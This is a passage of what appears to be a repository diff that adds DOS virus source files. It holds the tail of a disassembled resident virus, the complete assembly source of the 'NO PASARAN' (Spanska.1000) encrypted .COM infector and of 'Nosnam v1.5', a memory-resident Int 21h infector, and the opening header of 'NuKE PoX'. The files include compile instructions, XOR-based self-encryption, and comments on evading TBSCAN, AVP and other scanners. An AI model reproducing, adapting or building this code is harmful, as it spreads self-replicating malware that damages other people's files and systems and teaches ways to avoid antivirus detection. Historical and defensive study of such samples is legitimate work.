ret 2 ; Return far
db 2Eh, 3Ah, 26h, 83h, 4, 74h
db 0F3h, 84h, 0E4h, 74h, 0EFh, 80h
db 0FCh, 1, 74h, 5, 80h, 0FCh
db 5, 72h, 0ADh
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_6 proc near
jmp cs:data_13 ; (5C43:0519=2E14h)
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
sub_7:
loc_33:
jmp far ptr loc_37
sub_6 endp
loc_34:
push ds
call sub_8
push cs
add [di],dl
add ss:data_17e[bp],bx ; (5C43:1610=0)
add ds:data_18e[bx+si],di ; (5C43:4BAA=0)
int 21h ; DOS Services ah=function 03h
; get char al from serial port
jnc loc_35 ; Jump if carry=0
pop si
push si
push es
xor ax,ax ; Zero register
mov ds,ax
les bx,dword ptr ds:data_1e ; (0000:004C=0FE9h) Load 32 bit ptr
mov ah,13h
int 2Fh ; Multiplex/Spooler al=func 00h
; get installed status
push es
push bx
mov ah,13h
int 2Fh ; Multiplex/Spooler al=func 00h
; get installed status
pop word ptr cs:[si-8]
pop bx
mov cs:[si-6],bx
mov ax,es
cmp ax,bx
les bx,dword ptr ds:data_2e ; (0000:0084=109Eh) Load 32 bit ptr
push cs
pop ds
pushf ; Push flags
pop data_9[si] ; (5C43:0148=9090h)
mov [si+4],bx
mov [si+6],es
pop ax
dec ax
mov ds,ax
mov bx,43h
sub ds:data_5e,bx ; (5C42:0012=0)
sub ds:data_4e,bx ; (5C42:0003=0FFFFh)
inc ax
add ax,ds:data_4e ; (5C42:0003=0FFFFh)
push ax
sub ax,10h
push ax
mov ds,ax
mov dx,2BCh
mov ah,13h
int 2Fh ; Multiplex/Spooler al=func 32h
pop dx
pop es
xor di,di ; Zero register
push cs
pop ds
inc data_7[si] ; (5C43:0126=9090h)
sub si,2D5h
mov cx,41Fh
rep movsb ; Rep while cx>0 Mov [si] to es:[di]
mov ax,0FE00h
stosb ; Store al to es:[di]
stosw ; Store ax to es:[di]
mov es,cx
mov di,84h
mov ax,110h
stosw ; Store ax to es:[di]
xchg ax,dx
stosw ; Store ax to es:[di]
loc_35:
pop si
pop es
push cs
pop ds
xor ax,ax ; Zero register
cmp data_8[si],5A4Dh ; (5C43:0128=9090h)
jne loc_36 ; Jump if not equal
mov dx,es
add dx,10h
add [si+2],dx
push es
pop ds
jmp dword ptr cs:[si] ; 1 entry
loc_36:
sub si,0FED8h
mov di,100h
push di
movsw ; Mov [si] to es:[di]
movsb ; Mov [si] to es:[di]
ret
db 3, 4, 92h, 0AEh, 0A7h, 0A8h
db 20h, 0A4h, 0A5h, 0A1h, 0A5h, 0ABh
db 20h, 0A8h, 0A4h, 0A8h, 0AEh, 0B2h
db 20h, 0A2h, 0ACh, 0A5h, 0B1h, 0B2h
db 0AEh, 20h, 0A4h, 0A0h, 20h, 0B6h
db 0A5h, 0ABh, 0B3h, 0ADh, 0A5h, 20h
db 0B1h, 0AEh, 0B7h, 0ADh, 0A8h, 0B2h
db 0A5h, 20h, 0B3h, 0B1h, 0B2h, 0ADh
db 0A8h, 20h, 0ADh, 0A0h, 20h, 0ACh
db 0AEh, 0ACh, 0A8h, 0B7h, 0A5h, 0B2h
db 0AEh, 2Ch, 20h, 0A2h, 0AFh, 0A8h
db 20h, 0B3h, 0B1h, 0B2h, 0ADh, 0A8h
db 20h, 0B2h, 0A0h, 0ACh, 2Ch, 20h
db 0AAh, 0BAh, 0A4h, 0A5h, 0B2h, 0AEh
db 20h, 0B2h, 0B0h, 0BFh, 0A1h, 0A2h
db 0A0h, 0B8h, 0A5h, 20h, 0A4h, 0A0h
db 20h, 0B1h, 0ABh, 0AEh, 0A6h, 0A8h
db 20h, 0B1h, 0BAh, 0A2h, 0B1h, 0A5h
db 0ACh, 20h, 0A4h, 0B0h, 0B3h, 0A3h
db 0AEh, 20h, 0ADh, 0A5h, 0B9h, 0AEh
db 0, 4, 0, 0CDh, 20h, 90h
code_seg_a ends
end start

View File

@ -0,0 +1,667 @@
; NO PASARAN virus version 2 by Spanska
; Called Spanska.1000 by AV people
; This is my first virus
;
;***********************************************************************
;
; This virus is dedicated to all spanish and international young
; guys who fighted against fascist army during Spanish Civil War
; (1936-1939). They said "THEY SHALL NOT PASS!"
;
;********************************contact me at el_gato@rocketmail.com***
;
; No flag with TBSCAN
; At the time it was released (january 97), was not detected by
; TBSCAN, FPROT, AVP, DrSolly FINDVIRUS in heuristic mode
; but by DrWeb in heuristic mode (i didn't know this program...)
;
; generation zero size: 3537 bytes
; virus size: 1000 bytes
;
; Compile it with TASM /m2 and TLINK /t
;
; Properties:
; simple .com runtime infector
; not destructive
; encrypted with variable key
; infects 7 files each run
; infects current directory, than upper directories
; when it reaches the root, it starts infecting all "level1" subdirectories
; doe not infect files >60,000 or <100 bytes, nor command.com
; the VGA graphic bomb (a fire effect) explodes when minutes=22
; and seconds<30 (1/120)
code segment
assume ds:code, ss:code, cs:code, es:code
org 100h
;
;---------------fake host code--------------------
;
hote:
call virus ;jump to viral code (avoid J flag)
signature db "lc" ;virus signature
nop ;
nop ;fake host
nop ;
nop ;
mov ah, 4ch ;finished
mov al,0 ;go to
int 21h ;DOS
;**********************************************************************
; START OF VIRAL CODE
;**********************************************************************
virus: ;virus starts here
jmp evite ;avoid next routine
;=== simulation of a stosb ===
;=== when outside decrypt loop ===
;=== do not flag # ===
baise_flag_cryptage: ;===
mov [di], al ;=========>>> NO MORE FLAG "#" !!!!!
inc di ;===
ret ;===
;===================================
;
;---------------get delta offset----------------------------
;
evite:
call $+3 ;modified classic
delta: ;routine to
mov bp, sp ;avoid flag E
mov ax, [bp] ;
add word ptr [bp], decrypte-delta ;thanks Slacker's Theory
sub ax, offset delta ;of Code through Obscurity!
mov bp, ax
ret
;
;----------------------decrypting routine-------------------------
;
decrypte:
mov dl, [bp+offset clef] ;get actual key
mov cx, fin_cryptage - debut_cryptage ;
lea si, [bp+offset debut_cryptage] ;
mov di, si ;
xor_loop: ;decrypt loop
mov al, [si] ;
inc si ;
xor al, dl ;
call baise_flag_cryptage ;call the fake stosb to avoid flag #
loop xor_loop
;
;-----initialization to 0 of both infection and directory counters--------
;
debut_cryptage: ;crypted zone starts here
mov byte ptr [bp+offset compteur], 0 ;infection counter
mov byte ptr [bp+offset phase], 0 ;directory counter
;
;-----------------------remember current repertory-----------------------
;
lea si, [bp+offset repert] ;
xor dl, dl ;
mov ah, 47h ;
int 21h ;
;
;-----------------DTA go to a predefined zone in memory------------------
;
push 1a00h ;push/pop to
pop ax ;avoid flag F
lea dx, [bp+offset dta] ;
int 21h ;
;
;------------------------find first file---------------------------------
;
recherche:
mov cx, 0007h ;
lea dx, [bp+offset file_type] ;
mov ax, 4e00h ;
int 21h ;file found?
jnc sauter_suivant ;yes => c=0, let's continue
jmp rep_sup ;no => go to upper directory
;
;---------------------------find next file--------------------------------
;
fichier_suivant:
lea dx, [bp+offset file_type] ;
mov ax, 4f00h ;
mov cx, 0007h ;
int 21h ;file found?
jnc saut5 ;yes => c=0, let's continue
jmp rep_sup ;no => go to upper direcory
saut5:
;
;---------------verify if extension is really .com---------------------
; (it's made to avoid flag S with tbscan)
; (and to avoid AVP detection 'cause AVP detects all combinations
; like .c?m, .?om..., BUT .c*)
;
sauter_suivant:
mov cx, 13d ;max size of a file name (not really, but
lea si, [bp+offset dta+1eh] ;who cares? I've stolen this routine somewhere)
compare: ;loop for detecting start of the extension
lodsb ;letter in al
cmp al, "." ;is it a point?
jne compare ;no => test next letter
inc si ;yes => si points on second extension letter
cmp word ptr [si], "MO" ;second and third letters are "OM"?
jne fichier_suivant ;no => find next file
;
;-------------------verify if it's command.com----------------------------
;
cmp word ptr [bp+offset dta+1eh+2], "MM"
je fichier_suivant ;yes => find next file
;
;------------attributes to 0 to infect special files---------------------
;
lea dx, [bp+offset dta+1eh] ;file name pointed with dx
push 4301h ;push/pull to
pop ax ;avoid flag F
xor cx, cx ;
int 21h ;
;
;---------------------------open file------------------------------------
;
mov ax, 3D02h ;
lea dx, [bp+offset dta+1eh] ;
int 21h ;file found?
jnc saut2 ;yes => c=0, let's continue
jmp remise_en_etat ;no => arrange file and close it
saut2: ;
mov [bp+offset handle],ax ;
;
;-----------------read 5 first bytes of the file---------------------
;
xchg ax, bx ;
mov cx, 5 ;
mov ax, 3F00h ;
lea dx, [bp+offset contenu] ;bytes go to "contenu" zone
int 21h ;file found?
jnc saut3 ;yes => c=0, let's continue
jmp remise_en_etat ;no => arrange file and close it
saut3: ;
;
;------------------is the file already infected?-----------------------
;
cmp word ptr [bp+offset contenu+3], "cl" ;compare with signature
jnz saut4 ;not infected => z=0, let's continue
jmp remise_en_etat ;already infected => arrange file and close
saut4: ;
;
;-----------------------is the size correct?---------------------------
;
cmp word ptr [bp+offset dta+1ah], 60000 ;compare size with 60000
jna pas_trop_gros ;is it bigger?
jmp remise_en_etat ;yes => find next file
pas_trop_gros: ;no => other verification
cmp word ptr [bp+offset dta+1ah], 100 ;compare size with 100
jnb verif_ok ;if >100 let's continue
;
;--------arrange file and close it in case of non-infection-------------
;
remise_en_etat:
mov ah, 3Eh ;
int 21h ;close it
;
;------------------restore attributes-----------------------------------
;
lea dx, [bp+offset dta+1eh] ;
xor ch, ch ;
mov cl, byte ptr [bp+offset dta+15h] ;attributes are still in the DTA
push 4301h ;push/pop to
pop ax ;avoid flag F
int 21h ;
;
;----------after arranging the file, let's find another one-------------
;
jmp fichier_suivant ;go to find-next routine
;
;-------------------disk file pointer at the end-------------------
;
verif_ok:
mov ax, 4202h ;
xor cx, cx ;
mov dx, cx ;
int 21h ;
;
;----------------------infection routine------------------------------
;
;first, let's write non-encrypted part
;
mov ax, 4000h ;
mov cx, debut_cryptage - virus ;
lea dx, [bp+offset virus] ;
int 21h ;
;
;second, let's crypt next part in memory
;
mov cl, [bp+offset cinq_octets+1] ;cl=new key
mov byte ptr [bp+offset clef_temp], cl ;on a temporary zone
lea si, [bp+offset debut_cryptage] ;si=start of the crypted zone
lea di, [bp+offset zone_de_travail] ;di=temporary mem zone for crypting
xchg cl, dl ;key in dl
mov cx, fin_cryptage - debut_cryptage ;cx=number of bytes to crypt
crypte_et_transfere: ;
lodsb ;
xor al, dl ;classic XOR crypting loop
stosb ;
loop crypte_et_transfere ;
;
;third, disk writing of the crypted zone
;
mov ax, 4000h ;
mov cx, fin_cryptage - debut_cryptage ;number of bytes to write
lea dx, [bp+offset zone_de_travail] ;
int 21h ;
;
;------write on disk real 5 first bytes of the file+new crypt key--------
;----from "contenu" zone in memory to "cinq_octets" zone on the disk)----
;
;1) move disk file pointer to good zone
;
xor cx, cx ;
mov dx, word ptr [bp+offset dta+1ah] ;non-infected file size in dx
add dx, cinq_octets - virus ;add offset of good zone
mov ax, 4200h ;
int 21h ;
;
;2) move memory pointer to good zone, and transfer
;
mov cx, 6 ;we will write 6 bytes
lea dx, [bp+offset contenu] ;("contenu" + "clef_temp")
push 4000h ;so 5 first bytes + new key
pop ax ;this push/pop is not necessary
int 21h ;
;
;--overwrite 5 first bytes on the disk by jump to virus code + signature---
;
;1) move disk file pointer to start of the file
;
xor cx,cx ;
mov dx, cx ;
mov ax, 4200h ;
int 21h ;
;
;2) calculate initial jump and write all on a temp zone in memory
;(NB: we use the "contenu" memory zone which is not more util)
;
mov byte ptr [bp+offset contenu], 0e8h ;E8=opcode of CALL
mov ax, word ptr [bp+offset dta+1ah] ;ax=file size
sub ax, 3 ;this is because of the CALL
mov word ptr [bp+offset contenu+1], ax ;write deplacement
mov word ptr [bp+offset contenu+3], "cl" ;write signature
;
;3) overwrite 5 first bytes on the file
;
mov cx,5 ;
lea dx, [bp+offset contenu] ;
mov ax, 4000h ;
int 21h ;
;
;-------------------restore time/date of the file------------------------
;
mov dx, word ptr [bp+offset dta+18h] ;date in dx
mov cx, word ptr [bp+offset dta+16h] ;time in cx
push 5701h ;push/pop
pop ax ;to avoid flag F
int 21h ;
;
;-----------------------------close file---------------------------------
;
mov ah, 3Eh ;
int 21h ;
;
;------------------------restore file attributes-----------------------
;
lea dx, [bp+offset dta+1eh] ;
xor ch, ch ;
mov cl, byte ptr [bp+offset dta+15h] ;attributes are still in DTA
push 4301h ;
pop ax ;
int 21h ;
;
;--------------verify how many files we have infected------------------
;
mov byte ptr cl, [bp+offset compteur] ;infection counter in cl
inc cl ;one more
cmp cl, 7 ;have we infected 7 files?
je attendre ;yes => let's stop
mov byte ptr [bp+offset compteur], cl ;no => write new value of counter
;
;-----------------------let's infect a new file-------------------------
;
jmp fichier_suivant ;infect next file
;
;---------------------climb to upper directory--------------------------
;
rep_sup:
lea dx, [bp+offset dot] ;let's go to ".." repertory
mov ah, 3bh ;
int 21h ;are we in the root?
jc on_redescend ;yes => c=1, let's go down now
jmp recherche ;no => find first file
;
;---if we are in root, let's go to all "first-level" subdirectories-----
;
on_redescend: ;
mov ah, 4eh ;find first file
mov cx, 16 ;with repertory attribute
lea dx, [bp+offset dir_masque] ;called "*.*"...
int 21h ;
jc attendre ;there are no subdirectory => stop
cmp byte ptr[bp+offset phase], 0 ;how is the dir counter (called phase)?
je le_premier ;phase=0 => do not find next dir
xor bh, bh ;
mov bl, byte ptr [bp+offset phase] ;bx=phase
rep_suivant: ;loop to avoid all subdir already infected
mov cx, 16 ;rep attributes
mov ah, 4fh ;find next dir
lea dx, [bp+offset dir_masque] ;
int 21h ;
jc attendre ;there are no subdirectory => stop
cmp byte ptr [bp+offset dta+15h], 16 ;is it really a directory?
jne rep_suivant ;no => find next
dec bx ;this routine is made to infect
cmp bx, 0 ;directory "number phase"
jne rep_suivant ;if bx<>0, the subdir is already infected
le_premier:
add byte ptr[bp+offset phase], 1 ;OK, we are on a subdir not infected
lea dx, [bp+offset dta+1eh] ;so, let's change
mov ah, 3bh ;directory to it
int 21h ;
jmp recherche ;and infect this new subdirectory
;
;-----in case of problem, or no more directory to infect, we go here------
;
attendre: ;
;
;------------------DTA in the normal zone-----------------------------
; (to avoid perturbing host program)
;
push 1a00h ;push/pop
pop ax ;to avoid flag F
mov dx, 80h ;to 80h, the normal zone
int 21h ;
;
;------restore the directory in which we were when we started-------------
;
;primo, rapid climb until the root
;
remontee_finale:
lea dx, [bp+offset dot] ;
mov ah, 3bh ;
int 21h ;
jnc remontee_finale ;continue until we are in the root
;
;secundo, we go to the directory in which we were at start
;
lea dx, [bp+offset repert] ;we saved the dir in this zone
mov ax, 3B00h ;change dir
int 21h ;
;
;------replace 5 first bytes of the host in memory----------
;
lea si, [bp+offset cinq_octets] ;original 5 bytes were stored here
mov ax, 101h ;classic trick to
dec ax ;avoid flag B
mov di, ax ;100h in DI for transfer
mov cx, 5 ;write 5 bytes
rep movsb ;transfer them
;
;--------------------does the bomb explode?---------------------
;
mov ah, 2Ch ;internal clock: ch=hour et cl=minute
int 21h ;
cmp cl, 22d ;minutes = 22?
jne redonner_la_main ;no => return to host
cmp dh, 30d ;yes => test seconds
jb bombe ;if seconds <30 (1/120) the bomb explodes
;
;-----------------------return to host----------------------------
; (remember the very first CALL: we have 103h on the stack)
;
redonner_la_main:
pop ax ;get 103h
sub ax, 3 ;we want 100h
push ax ;re-put it on stack (for the RET)
xor ax, ax ;a starting program
xor bx, bx ;likes to find all
xor cx, cx ;registers equals
xor dx, dx ;to zero.
ret ;on redonne la main au pauvre programme
nop
nop ;just for fun: with these 3 nops, virus size is just 1000.
nop
;
;**********************************************************************
; CODE OF THE GRAPHIC BOMB: A FIRE EFFECT
;**********************************************************************
bombe:
;--------------------------------VGA-----------------------------------
mov ax, 13h ;
int 10h ;goto graphic mode
;------initialisation of the flame palette (black=>red=>white)----------
mov dx, 3c8h ;dx = palette port
xor al, al ;starting with color 0
out dx, al ;write first color in the port
inc dx ;define all colors
xor cx, cx ;component red start from 0 and augment
rouges: ;let's define colors from 0 to 62
mov al, cl ;first component (red) equal to cl
out dx, al ;write on palette port
xor al, al ;others components (blue, green) to zero
out dx, al ;write blue component
out dx, al ;write green component
inc cx ;increment red component of color
cmp cx, 63 ;do cx reach 63?
jne rouges ;no => continue loop
xor cx, cx ;component blue start from 0 and augment
jaunes: ;let's define colors from 63 to 125
mov al, 63 ;component red equal to 63
out dx, al ;write it
mov al, cl ;second component (blue) equal to cl
out dx, al ;write it
xor al, al ;third component (green) equal to zero
out dx, al ;write it
inc cx ;increment blue component of color
cmp cx, 63 ;do cx reach 63?
jne jaunes ;no => continue loop
xor cx, cx ;component green start from 0 and augment
blancs: ;let's define colors from 126 to 188
mov al, 63 ;components red and blue equal to 63
out dx, al ;write red component
out dx, al ;write blue component
mov al, cl ;third component (green) equal to cl
out dx, al ;write it
inc cx ;increment green component of color
cmp cx, 63 ;do cx reach 63?
jne blancs ;no => continue loop
mov cx, 198 ;we're going to define 198/3=66 next colors
blancfin: ;let's define colors from 189 to 254
mov al, 255 ;all components are maximum
out dx, al ;so these colors are white
loop blancfin ;
xor al, al ;define last color (number 255)
mov cx, 3 ;in black so we do not see the
rep out dx, al ;focus at the bottom of the flame
;------------draw some focus at the bottom at random places--------------
mov ax, 0a000h ;video mem
mov es, ax ;segment in es
boucle:
mov di, (320*199)+5 ;start line 199, 5 pixels from the left side
foyers:
call random ;bring back a random dl between 0 and 255
cmp dl, 180 ;dl>180?
jb noir ;no => no focus, color to black
mov dl, 255 ;yes => a focus, color to white
jmp blanc ;avoid "no focus" routine
noir:
xor dl, dl ;no focus, color to black
blanc:
mov al, dl ;load al with color
mov cx, 5 ;focuses are 5 pixels long
zobi:
stosb ;draw focus pixel
add di, 319 ;and draw another pixel
stosb ;under the first
sub di, 320 ;(more beautiful)
loop zobi
cmp di, (320*199)+30 ;the torch will be 30 pixels wide
jb foyers ;focus line not finished, so loop
;--------real screen--->modification--->virtual screen------------------
mov di, 320*120 ;we use just the 80 bottom lines
lea si, [bp+offset ecran_virtuel] ;memory zone for calculations
mov dx, 80 ;line loop: 80 repetitions
xor ax, ax ;we gonna use ax, so put zero
ecran: ;start of line loop
mov cx, 30 ;column loop: 30 repetitions
modif: ;start of column loop
mov al, es:[di] ;in al, color of current pixel
add al, es:[di+320] ;add pixel color just under it
adc ah, 0 ;result may be >255, so add carry
add al, es:[di+319] ;add pixel color under it to the left
adc ah, 0 ;add carry
add al, es:[di+641] ;add pixel 2 lines under it to the right
adc ah, 0 ;add carry
shr ax, 1 ;calculate the average color of these
shr ax, 1 ;4 pixels, dividing ax by 4
cmp al, 0 ;is this average value black?
je bitnoir ;yes => do not decrement color
dec al ;no => decrement color
bitnoir:
mov ds:[si], al ;write pixel with new color on memory
inc si ;next pixel on memory (virtual screen)
inc di ;next pixel on screen (real screen)
loop modif ;finish the line
add di, (320-30) ;on screen, go to first pixel of next line
dec dx ;dx = line counter, decrement it
cmp dx, 0 ;are we to the bottom of the screen?
jne ecran ;no => let's go to next line
;----------------virtual screen--->real screen-------------------------
mov di, (320*120) ;di points to line 120 on real screen
lea si, [bp+offset ecran_virtuel] ;si points to start of virtual screen
xor dx, dx ;line counter to zero
deux_flammes:
mov cx, 30 ;copy one line to the
rep movsb ;left side of the screen
sub si, 30 ;virtual: rewind to the start of the same line
add di, 230 ;real: draw the second torch at column 230+30+5
mov cx, 30 ;copy the same line to the
rep movsb ;right side of the screen
add di, 30 ;real: start next line (NB: 295+30=320+5)
inc dx ;increment line counter
cmp dx, 79 ;copy 78 lines
jne deux_flammes
;--------------put text cursor at line 5, column 1----------------------
mov dx, 0501h ;dh=line, dl=column
xor bh, bh ;page zero
mov ah,02h ;put cursor to position DH, DL
int 10h ;BIOS screen int
;--------------------write text message on screen-----------------------
mov ah, [bp+offset clignote] ;blink counter in ah
inc ah ;increment it
mov [bp+offset clignote], ah ;put it back to its place
cmp ah, 128 ;compare it to 128 (alternance time 50/50)
ja second_message ;inferior => write second message
lea si, [bp+offset message] ;superior => write first message
jmp premier_message ;and avoid second message
second_message: ;
lea si, [bp+offset message2] ;now write second message
premier_message:
mov cx, 36 ;message lenght
affiche_message:
lodsb ;load letter in al
mov bl, 254 ;and color in bl (white)
mov ah, 0Eh ;
int 10h ;write this letter on screen
loop affiche_message
jmp boucle ;return to step "draw focus"
;-----------random number creation routine (stolen somewhere)--------------
random proc near
mov ax, [bp+offset aleat]
mov dx, 8405h
mul dx
inc ax
mov [bp+offset aleat], ax
ret
random endp
;--------------memory zones of the graphic effect------------------------
message db " Remember those who died for Madrid " ;message 1
message2 db "No Pasaran! Virus v2 by Spanska 1997" ;message 2
clignote db 00 ;blink counter
aleat dw 0AAh ;random seed
;
;-------------------memory zones of the virus----------------------------
;
dir_masque db "*.*",0 ;mask to find subdirectories
file_type db "*.c*",0 ;mask to find file type
dot db "..",0 ;mask to find upper directory
fin_cryptage: ;end of crypting
cinq_octets db 5 dup(90h) ;5 first bytes of host
clef db 0 ;crypt key
;
;--------these temporary memory zones are not written on disk------------
;
phase db 0 ;to find the good subdirectories
compteur db 0 ;infection counter
handle db 0,0 ;file handle
contenu db 0,0,0,0,0 ;to read 5 first bytes of a file
clef_temp db 0 ;crypt key
dta db 48 dup (0AAh) ;DTA zone
repert db 64 dup (0FFh) ;starting directory
ecran_virtuel db 80*30 dup (00) ;virtual screen
zone_de_travail: ;used to crypt virus
code ends
end hote
; ------------------------(c) Spanska 1997------------------------------

View File

@ -0,0 +1,264 @@
; ------------------------------------------------------------------------- ;
; Nosnam v1.5 coded by KilJaeden of the Codebreakers 1998 ;
; ------------------------------------------------------------------------- ;
; Description: `-------------------| Started: 07/06/98 | Finished: 09/06/98 ;
; `-------------------^------------------- ;
; v1.0 - TSR *.com appender, direct MCB manipulation style | Size: 430 ;
; v1.1 - add some XOR,NEG,NOT,ROR encryption to this `---------- ;
; v1.2 - Infects only files < 1,000 bytes and > 62,000 bytes ;
; v1.3 - saves and restores the time / date stamps ;
; v1.4 - infects files with any attributes ;
; v1.5 - saves and restores file attributes ;
; ------------------------------------------------------------------------- ;
; ------> For Christine Moore, For The Codebreakers & For Mind Warp <----- ;
; ------------------------------------------------------------------------- ;
; to compile ::] tasm nosnam.asm ;
; to link :::::] tlink /t nosnam.obj ;
; ------------------------------------------------------------------------- ;
code segment ; name our segment 'code'
assume cs:code,ds:code ; assign cs and ds to code
org 100h ; this be a .com file
.286 ; needed for pusha/popa
blank: db 0e9h,0,0 ; define blank jump
start: call delta ; push IP on to stack
delta: pop bp ; pop it into BP
sub bp,offset delta ; get delta offset
encryp: jmp first ; jump to first (overwritten)
lea si,[bp+encd] ; load SI with encrypted area start
mov di,si ; move that address into DI
call encr ; call the encryption loop
jmp encd ; jump to encrypted area start
encr: lodsb ; load a byte from AL
not al ; encryptin 1
ror al,4 ; encryptin 2
neg al ; encryptin 3
xor al,byte ptr [bp+key] ; unencrypt 4
neg al ; unencrypt 3
ror al,4 ; unencrypt 2
not al ; unencrypt 1
stosb ; store the byte
loop encr ; do all the bytes
ret ; return from call
key db 0 ; define our key here
encd: mov ax,0deadh ; move 0deadh into AX
int 21h ; if resident, 0deadh is in BX
cmp bx,0deadh ; check to see if it is
jne go_rez ; nope, go rezident now
jmp first3 ; jump to first three
go_rez: sub word ptr cs:[2],80h ; lower top of memory data in PSP
mov ax,cs ; move CS into AX
dec ax ; decrement AX
mov ds,ax ; move new value into DS
sub word ptr ds:[3],80h ; sub 2kb from accessed MCB
xor ax,ax ; AX to 0 now
mov ds,ax ; DS is now 0
sub word ptr ds:[413h],2 ; adjust BIOS data area by 2kb
mov ax,word ptr ds:[413h] ; move adjusted BIOS mem to AX
mov cl,6 ; load CL with 6
shl ax,cl ; multiply BIOS base mem by 64
mov es,ax ; move the value to ES
push cs ; push CS again so you can
pop ds ; restore DS to original value
xor di,di ; DI is now 0
lea si,[bp+start] ; SI loaded with start address
mov cx,finished-start ; # of bytes to write
rep movsb ; load virus into memory
hook: xor ax,ax ; ax to 0
mov ds,ax ; DS to 0
lea ax,isr ; point IVT to new ISR
sub ax,offset start ; subtract start offset
mov bx,es ; move extra segment into BX
cli ; clear interrupts
xchg ax,word ptr ds:[21h*4] ; getting Int 21
xchg bx,word ptr ds:[21h*4+2] ; into bx and ax
mov word ptr es:[oi21-offset start],ax ; save old int 21
mov word ptr es:[oi21+2-offset start],bx ; save old int 21
sti ; restore interrupts
push cs ; push code segment register
push cs ; push it again
pop ds ; put it into DS
pop es ; put it into ES
first3: lea si,[bp+buffer] ; restore first three bytes
mov di,100h ; 100h to restore them too
push di ; push 100h on to stack
movsb ; move one byte
movsw ; move one word
retn ; return control to host
isr: pushf ; push all the flags
cmp ax,0deadh ; have we added check value?
jne exec ; yup, wait now for 4bh
mov bx,0deadh ; nope adding it now
popf ; pop all flags
iret ; pop cs:ip+flags from stack
exec: pusha ; push all registers
push ds ; push DS
push es ; likewize for ES
cmp ah,4bh ; something being executed?
je main ; yup, on with the infecting
jmp exit2 ; naw, jump to original ISR
goexit: jmp exit ; need this to make the jump
main: push bp ; save original delta offset
call tsrdel ; push IP on to stack
tsrdel: pop bp ; pop it off into BP
sub bp,offset tsrdel ; get 2nd delta offset
push ds ; push DS again
pop es ; and pop it into ES
mov di,dx ; move file info into DI
mov cx,64 ; 64 byte filename possible
mov al,'.' ; load al with .
cld ; clear direction flag
repnz scasb ; scan until . is hit
cmp word ptr ds:[di],'OC' ; check for .CO-
jne goexit ; not a .com file, exit
cmp word ptr ds:[di+2],'M' ; check for .--M
jne goexit ; not a .com file, exit
mov ax,4300h ; get file attributes
int 21h ; we have the attributes
push cx ; save attribute #1
push dx ; save attribute #2
push ds ; save attribute #3
mov ax,4301h ; set file attributes
xor cx,cx ; to none at all
int 21h ; file is ready now
mov ax,3d02h ; open the file now
int 21h ; open it up now
xchg bx,ax ; move the info
push cs ; push code segment register
push cs ; push it again
pop ds ; put it into DS
pop es ; put it into ES
mov ax,5700h ; get the time / date stamps
int 21h ; got them now
push dx ; save value #1
push cx ; save value #2
mov ah,3fh ; the record function
lea dx,[bp+buffer] ; record bytes here
mov cx,3 ; record three bytes
int 21h ; restore them now
mov ax,4202h ; scan to end of file
cwd ; dx to 0
xor cx,cx ; cx to 0
int 21h ; DX:AX = file size now!
cmp dx,0 ; is the file < 65,535 bytes?
jne close ; way to big, close it up
mov cx,word ptr [bp+buffer+1] ; move buffer+1 into CX
add cx,finished-start+3 ; virus size + jump
cmp ax,cx ; compare file size and CX
jz close ; if equal, close it up
cmp ax,1000 ; compare 1000 bytes with CX
jb close ; file too small, close it
cmp ax,62000 ; compare 62,000 bytes with AX
ja close ; file too big, close it up
sub ax,3 ; subtract 3 from filesize
mov word ptr [bp+newjump+1],ax ; write as our new jump
mov ax,4200h ; point to start of file
cwd ; dx to 0
xor cx,cx ; cx to 0
int 21h ; now pointing to start
mov ah,40h ; write to file
mov cx,3 ; three bytes
lea dx,[bp+newjump] ; write this
int 21h ; jump is written
mov ax,4202h ; scan to end of file
cwd ; dx to 0
xor cx,cx ; cx to 0
int 21h ; now pointing to end
in al,40h ; get random value
mov byte ptr [bp+key],al ; save as our key
mov ah,40h ; write to file
lea dx,[bp+start] ; where to start
mov cx,encd-start ; # of bytes to write
int 21h ; write those bytes
lea di,[bp+finished] ; DI points to encrypted area end
push di ; save value, we need it in a minute
lea si,[bp+encd] ; SI points to encrypted area start
mov cx,finished-encd ; # of bytes to encrypt
push cx ; save value, we need it in a minute
call encr ; encrypt those bytes now
mov ah,40h ; write to file
pop cx ; use that saved value from before
pop dx ; use the other saved value
int 21h ; write those bytes
close: mov ax,5701h ; set time / date stamps
pop cx ; from saved value #2
pop dx ; from saved value #1
int 21h ; time / date is restored
mov ax,4301h ; set file attributes
pop ds ; from saved value #3
pop dx ; from saved value #2
pop cx ; from saved value #1
int 21h ; attributes restored
mov ah,3eh ; close the file
int 21h ; file is closed
exit: pop bp ; pop the original delta offset
exit2: pop es ; pop ES from stack
pop ds ; pop DS from stack
popa ; pop all registers
popf ; pop all flags
db 0eah ; jump to original ISR
; ---------------------------( The Data Area )----------------------------- ;
; ------------------------------------------------------------------------- ;
oi21 dd ? ; old int 21 goes here
buffer db 0cdh,20h,0 ; terminates 1st gen
virname db 'Nosnam',0 ; the virus name
newjump db 0e9h,0,0 ; blank jump 1st gen
finished label near ; the offset label
; ---------------------( Not Saved / Not Encrypted )----------------------- ;
; ------------------------------------------------------------------------- ;
first: lea di,[bp+encryp] ; load with start address
lea si,[bp+new] ; load with bytes to move
movsw ; move two bytes
movsb ; move one byte
jmp encd ; jump to encrypted area
new: mov cx,finished-encd ; this will overwrite the jump
; ------------------------------( The End )-------------------------------- ;
; ------------------------------------------------------------------------- ;
code ends ; end code segment
end blank ; end it all / where to start
; ------------------------------------------------------------------------- ;
; ---------> How Can You Think Freely In The Shadow Of A Church? <--------- ;
; ------------------------------------------------------------------------- ;

View File

@ -0,0 +1,344 @@
;*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
;-* (c) Rock Steady, Viral Developments -*
;*- (c) NuKE Software Developement 1991, 1992 *-
;-* Virus: NuKE PoX Version 1.0 (Alias `Mutating Rocko') -*
;*- ~~~~~~ *-
;-* Notes: COM Infector, Hooks Int 9h & Int 21h, Memory Stealthness -*
;*- ~~~~~~ Dir Stealthness (FCB Way), Encrypting Virus (100 different *-
